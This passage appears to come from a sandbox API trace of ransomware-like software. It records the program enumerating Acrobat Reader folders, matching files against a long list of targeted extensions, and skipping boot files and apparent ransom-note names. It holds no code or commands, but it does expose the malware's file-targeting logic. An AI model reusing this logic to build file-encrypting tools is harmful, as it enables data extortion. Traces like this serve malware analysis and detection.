lstrlenW (lpString=".icb") returned 4 [0262.566] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0262.566] lstrlenW (lpString=".ics") returned 4 [0262.566] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0262.566] lstrlenW (lpString=".iff") returned 4 [0262.566] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0262.567] lstrlenW (lpString=".inc") returned 4 [0262.567] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0262.567] lstrlenW (lpString=".indd") returned 5 [0262.567] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0262.567] lstrlenW (lpString=".ini") returned 4 [0262.567] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0262.567] lstrlenW (lpString=".iqy") returned 4 [0262.567] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0262.567] lstrlenW (lpString=".j2c") returned 4 [0262.567] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0262.567] lstrlenW (lpString=".j2k") returned 4 [0262.567] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0262.567] lstrlenW (lpString=".java") returned 5 [0262.567] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0262.567] lstrlenW (lpString=".jp2") returned 4 [0262.567] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0262.567] lstrlenW (lpString=".jpc") returned 4 [0262.568] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0262.568] lstrlenW (lpString=".jpe") returned 4 [0262.568] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0262.568] lstrlenW (lpString=".jpeg") returned 5 [0262.568] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0262.568] lstrlenW (lpString=".jpf") returned 4 [0262.568] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0262.568] lstrlenW (lpString=".jpg") returned 4 [0262.568] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0262.568] lstrlenW (lpString=".jpx") returned 4 [0262.568] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0262.568] lstrlenW (lpString=".js") returned 3 [0262.568] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0262.568] lstrlenW (lpString="ui-strings.js") returned 13 [0262.568] lstrlenW (lpString=".love$") returned 6 [0262.568] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0262.568] lstrlenW (lpString="ui-strings.js") returned 13 [0262.568] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0262.568] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0262.568] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0262.568] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0262.568] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0262.568] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0262.568] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0262.568] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0262.568] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nb-no\\ui-strings.js") returned 119 [0262.569] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.569] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0262.569] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0262.569] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0262.569] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl") returned 105 [0262.569] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl") returned 1 [0262.569] lstrlenW (lpString="nl-nl") returned 5 [0262.569] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="nl-nl") returned -1 [0262.569] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0262.569] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl") returned 105 [0262.569] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0262.570] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.570] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.570] lstrlenW (lpString="ui-strings.js") returned 13 [0262.570] lstrlenW (lpString=".1cd") returned 4 [0262.570] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0262.570] lstrlenW (lpString=".3ds") returned 4 [0262.570] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0262.570] lstrlenW (lpString=".3fr") returned 4 [0262.570] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0262.570] lstrlenW (lpString=".3g2") returned 4 [0262.570] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0262.570] lstrlenW (lpString=".3gp") returned 4 [0262.570] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0262.570] lstrlenW (lpString=".7z") returned 3 [0262.570] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0262.571] lstrlenW (lpString=".accda") returned 6 [0262.571] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0262.571] lstrlenW (lpString=".accdb") returned 6 [0262.571] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0262.571] lstrlenW (lpString=".accdc") returned 6 [0262.571] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0262.571] lstrlenW (lpString=".accde") returned 6 [0262.571] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0262.571] lstrlenW (lpString=".accdt") returned 6 [0262.571] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0262.571] lstrlenW (lpString=".accdw") returned 6 [0262.571] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0262.571] lstrlenW (lpString=".adb") returned 4 [0262.571] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0262.571] lstrlenW (lpString=".adp") returned 4 [0262.571] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0262.571] lstrlenW (lpString=".ai") returned 3 [0262.571] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0262.571] lstrlenW (lpString=".ai3") returned 4 [0262.571] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0262.571] lstrlenW (lpString=".ai4") returned 4 [0262.571] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0262.571] lstrlenW (lpString=".ai5") returned 4 [0262.571] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0262.571] lstrlenW (lpString=".ai6") returned 4 [0262.571] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0262.572] lstrlenW (lpString=".ai7") returned 4 [0262.572] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0262.572] lstrlenW (lpString=".ai8") returned 4 [0262.572] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0262.572] lstrlenW (lpString=".anim") returned 5 [0262.572] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0262.572] lstrlenW (lpString=".arw") returned 4 [0262.572] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0262.572] lstrlenW (lpString=".as") returned 3 [0262.572] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0262.572] lstrlenW (lpString=".asa") returned 4 [0262.572] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0262.572] lstrlenW (lpString=".asc") returned 4 [0262.572] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0262.572] lstrlenW (lpString=".ascx") returned 5 [0262.572] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0262.572] lstrlenW (lpString=".asm") returned 4 [0262.572] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0262.572] lstrlenW (lpString=".asmx") returned 5 [0262.572] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0262.572] lstrlenW (lpString=".asp") returned 4 [0262.572] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0262.572] lstrlenW (lpString=".aspx") returned 5 [0262.572] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0262.572] lstrlenW (lpString=".asr") returned 4 [0262.573] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0262.573] lstrlenW (lpString=".asx") returned 4 [0262.573] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0262.573] lstrlenW (lpString=".avi") returned 4 [0262.573] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0262.573] lstrlenW (lpString=".avs") returned 4 [0262.573] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0262.573] lstrlenW (lpString=".backup") returned 7 [0262.573] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0262.573] lstrlenW (lpString=".bak") returned 4 [0262.573] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0262.573] lstrlenW (lpString=".bay") returned 4 [0262.573] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0262.573] lstrlenW (lpString=".bd") returned 3 [0262.573] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0262.573] lstrlenW (lpString=".bin") returned 4 [0262.573] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0262.573] lstrlenW (lpString=".bmp") returned 4 [0262.573] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0262.573] lstrlenW (lpString=".bz2") returned 4 [0262.573] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0262.573] lstrlenW (lpString=".c") returned 2 [0262.573] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0262.573] lstrlenW (lpString=".cdr") returned 4 [0262.574] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0262.574] lstrlenW (lpString=".cer") returned 4 [0262.574] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0262.574] lstrlenW (lpString=".cf") returned 3 [0262.574] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0262.574] lstrlenW (lpString=".cfc") returned 4 [0262.574] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0262.574] lstrlenW (lpString=".cfm") returned 4 [0262.574] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0262.574] lstrlenW (lpString=".cfml") returned 5 [0262.574] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0262.574] lstrlenW (lpString=".cfu") returned 4 [0262.574] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0262.574] lstrlenW (lpString=".chm") returned 4 [0262.574] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0262.574] lstrlenW (lpString=".cin") returned 4 [0262.574] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0262.574] lstrlenW (lpString=".class") returned 6 [0262.574] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0262.574] lstrlenW (lpString=".clx") returned 4 [0262.574] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0262.574] lstrlenW (lpString=".config") returned 7 [0262.574] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0262.575] lstrlenW (lpString=".cpp") returned 4 [0262.575] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0262.575] lstrlenW (lpString=".cr2") returned 4 [0262.575] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0262.575] lstrlenW (lpString=".crt") returned 4 [0262.575] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0262.575] lstrlenW (lpString=".crw") returned 4 [0262.575] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0262.575] lstrlenW (lpString=".cs") returned 3 [0262.575] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0262.575] lstrlenW (lpString=".css") returned 4 [0262.575] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0262.575] lstrlenW (lpString=".csv") returned 4 [0262.575] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0262.575] lstrlenW (lpString=".cub") returned 4 [0262.575] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0262.575] lstrlenW (lpString=".dae") returned 4 [0262.575] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0262.575] lstrlenW (lpString=".dat") returned 4 [0262.575] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0262.575] lstrlenW (lpString=".db") returned 3 [0262.575] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0262.575] lstrlenW (lpString=".dbf") returned 4 [0262.575] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0262.575] lstrlenW (lpString=".dbx") returned 4 [0262.576] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0262.576] lstrlenW (lpString=".dc3") returned 4 [0262.576] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0262.576] lstrlenW (lpString=".dcm") returned 4 [0262.576] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0262.576] lstrlenW (lpString=".dcr") returned 4 [0262.576] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0262.576] lstrlenW (lpString=".der") returned 4 [0262.576] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0262.576] lstrlenW (lpString=".dib") returned 4 [0262.576] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0262.576] lstrlenW (lpString=".dic") returned 4 [0262.576] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0262.576] lstrlenW (lpString=".dif") returned 4 [0262.576] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0262.576] lstrlenW (lpString=".divx") returned 5 [0262.576] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0262.576] lstrlenW (lpString=".djvu") returned 5 [0262.576] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0262.576] lstrlenW (lpString=".dng") returned 4 [0262.576] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0262.576] lstrlenW (lpString=".doc") returned 4 [0262.576] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0262.576] lstrlenW (lpString=".docm") returned 5 [0262.576] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0262.577] lstrlenW (lpString=".docx") returned 5 [0262.577] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0262.577] lstrlenW (lpString=".dot") returned 4 [0262.577] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0262.577] lstrlenW (lpString=".dotm") returned 5 [0262.577] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0262.577] lstrlenW (lpString=".dotx") returned 5 [0262.577] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0262.577] lstrlenW (lpString=".dpx") returned 4 [0262.577] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0262.577] lstrlenW (lpString=".dqy") returned 4 [0262.577] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0262.577] lstrlenW (lpString=".dsn") returned 4 [0262.577] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0262.577] lstrlenW (lpString=".dt") returned 3 [0262.577] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0262.577] lstrlenW (lpString=".dtd") returned 4 [0262.577] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0262.577] lstrlenW (lpString=".dwg") returned 4 [0262.577] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0262.577] lstrlenW (lpString=".dwt") returned 4 [0262.577] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0262.577] lstrlenW (lpString=".dx") returned 3 [0262.577] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0262.577] lstrlenW (lpString=".dxf") returned 4 [0262.577] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0262.578] lstrlenW (lpString=".edml") returned 5 [0262.578] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0262.578] lstrlenW (lpString=".efd") returned 4 [0262.578] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0262.578] lstrlenW (lpString=".elf") returned 4 [0262.578] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0262.578] lstrlenW (lpString=".emf") returned 4 [0262.578] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0262.578] lstrlenW (lpString=".emz") returned 4 [0262.578] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0262.578] lstrlenW (lpString=".epf") returned 4 [0262.578] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0262.642] lstrlenW (lpString=".eps") returned 4 [0262.643] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".epsf") returned 5 [0262.643] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0262.643] lstrlenW (lpString=".epsp") returned 5 [0262.643] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0262.643] lstrlenW (lpString=".erf") returned 4 [0262.643] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".exr") returned 4 [0262.643] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".f4v") returned 4 [0262.643] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".fido") returned 5 [0262.643] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0262.643] lstrlenW (lpString=".flm") returned 4 [0262.643] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".flv") returned 4 [0262.643] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".frm") returned 4 [0262.643] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".fxg") returned 4 [0262.643] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".geo") returned 4 [0262.643] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".gif") returned 4 [0262.643] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".grs") returned 4 [0262.643] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0262.643] lstrlenW (lpString=".gz") returned 3 [0262.643] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0262.644] lstrlenW (lpString=".h") returned 2 [0262.644] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0262.644] lstrlenW (lpString=".hdr") returned 4 [0262.644] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0262.644] lstrlenW (lpString=".hpp") returned 4 [0262.644] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0262.644] lstrlenW (lpString=".hta") returned 4 [0262.644] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0262.644] lstrlenW (lpString=".htc") returned 4 [0262.644] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0262.644] lstrlenW (lpString=".htm") returned 4 [0262.644] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0262.644] lstrlenW (lpString=".html") returned 5 [0262.644] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0262.644] lstrlenW (lpString=".icb") returned 4 [0262.644] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0262.644] lstrlenW (lpString=".ics") returned 4 [0262.644] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0262.644] lstrlenW (lpString=".iff") returned 4 [0262.644] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0262.644] lstrlenW (lpString=".inc") returned 4 [0262.644] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0262.644] lstrlenW (lpString=".indd") returned 5 [0262.644] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0262.644] lstrlenW (lpString=".ini") returned 4 [0262.645] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0262.645] lstrlenW (lpString=".iqy") returned 4 [0262.645] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0262.645] lstrlenW (lpString=".j2c") returned 4 [0262.645] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0262.645] lstrlenW (lpString=".j2k") returned 4 [0262.645] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0262.645] lstrlenW (lpString=".java") returned 5 [0262.645] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0262.645] lstrlenW (lpString=".jp2") returned 4 [0262.645] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0262.645] lstrlenW (lpString=".jpc") returned 4 [0262.645] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0262.645] lstrlenW (lpString=".jpe") returned 4 [0262.645] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0262.645] lstrlenW (lpString=".jpeg") returned 5 [0262.645] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0262.645] lstrlenW (lpString=".jpf") returned 4 [0262.645] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0262.645] lstrlenW (lpString=".jpg") returned 4 [0262.645] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0262.646] lstrlenW (lpString=".jpx") returned 4 [0262.646] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0262.646] lstrlenW (lpString=".js") returned 3 [0262.646] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0262.646] lstrlenW (lpString="ui-strings.js") returned 13 [0262.646] lstrlenW (lpString=".love$") returned 6 [0262.646] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0262.646] lstrlenW (lpString="ui-strings.js") returned 13 [0262.646] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0262.646] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0262.646] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0262.646] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0262.646] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0262.646] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0262.646] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0262.646] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0262.646] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\nl-nl\\ui-strings.js") returned 119 [0262.646] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.647] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0262.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0262.647] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0262.647] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl") returned 105 [0262.647] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl") returned 1 [0262.647] lstrlenW (lpString="pl-pl") returned 5 [0262.647] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="pl-pl") returned -1 [0262.647] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0262.647] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl") returned 105 [0262.647] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\*", lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, 